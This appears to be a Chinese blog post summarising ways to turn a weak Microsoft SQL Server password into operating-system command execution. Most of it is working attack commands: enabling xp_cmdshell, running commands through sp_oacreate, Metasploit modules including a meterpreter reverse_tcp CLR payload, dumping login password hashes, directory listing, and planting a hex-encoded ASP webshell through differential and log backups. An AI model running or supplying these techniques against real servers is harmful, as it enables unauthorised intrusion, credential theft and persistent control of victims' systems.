mssql弱口令的利用

发现了一个mssql弱口令,目标是执行系统命令,总结了常用的方法。

一、xp_cmdshell存储过程

Sql Server2005是system权限,2008以上是network权限

  1. 首先使用SSMS连接mssql数据库
  • 开启xp_cmdshell
EXEC sp_configure 'show advanced options',1 //允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
  • 执行命令
exec master..xp_cmdshell 'whoami'
mssql弱口令的利用_第1张图片
image.png
  1. msf中有xp_cmdshell的利用模块
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.80.144
set password 123456
set cmd cmd.exe /c ping 192.168.80.154
mssql弱口令的利用_第2张图片
image.png

二、sp_oacreate存储过程

当xp_cmdshell被删除时,可以尝试使用sp_oacreate

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

此方式执行是无回显的,这里将文件写入到temp目录下

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami>C:\\Windows\\Temp\\1.txt'
mssql弱口令的利用_第3张图片
image.png

三、clr程序集

适用于SQL Server 2005以后的版本,msf中有clr的利用模块

use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.80.144
set password 123456
set payload windows/x64/meterpreter/reverse_tcp
mssql弱口令的利用_第4张图片
image.png

四、查mssql密码

  1. 使用sql语句查询
select name,password_hash from master.sys.sql_logins
mssql弱口令的利用_第5张图片
image.png
  1. 使用msf中的模块查询
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.80.144
set password 123456

五、查绝对路径

使用xp_dirtree存储过程查询网站的绝对路径

execute master..xp_dirtree 'c:',1 --  只列目录
execute master..xp_dirtree 'c:',1,1 --  列目录和文件
mssql弱口令的利用_第6张图片
image.png

六、差异备份getshell

当目标服务器存在web服务时,可以尝试使用备份的方式写入webshell,如果不成功一般是目录权限的问题

backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

七、LOG备份getshell

相对于差异备份,log备份的好处就是备份出来的webshell文件非常小

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'c:\xxx' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'c:\xxx\2.asp'

参考

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

你可能感兴趣的:(mssql弱口令的利用)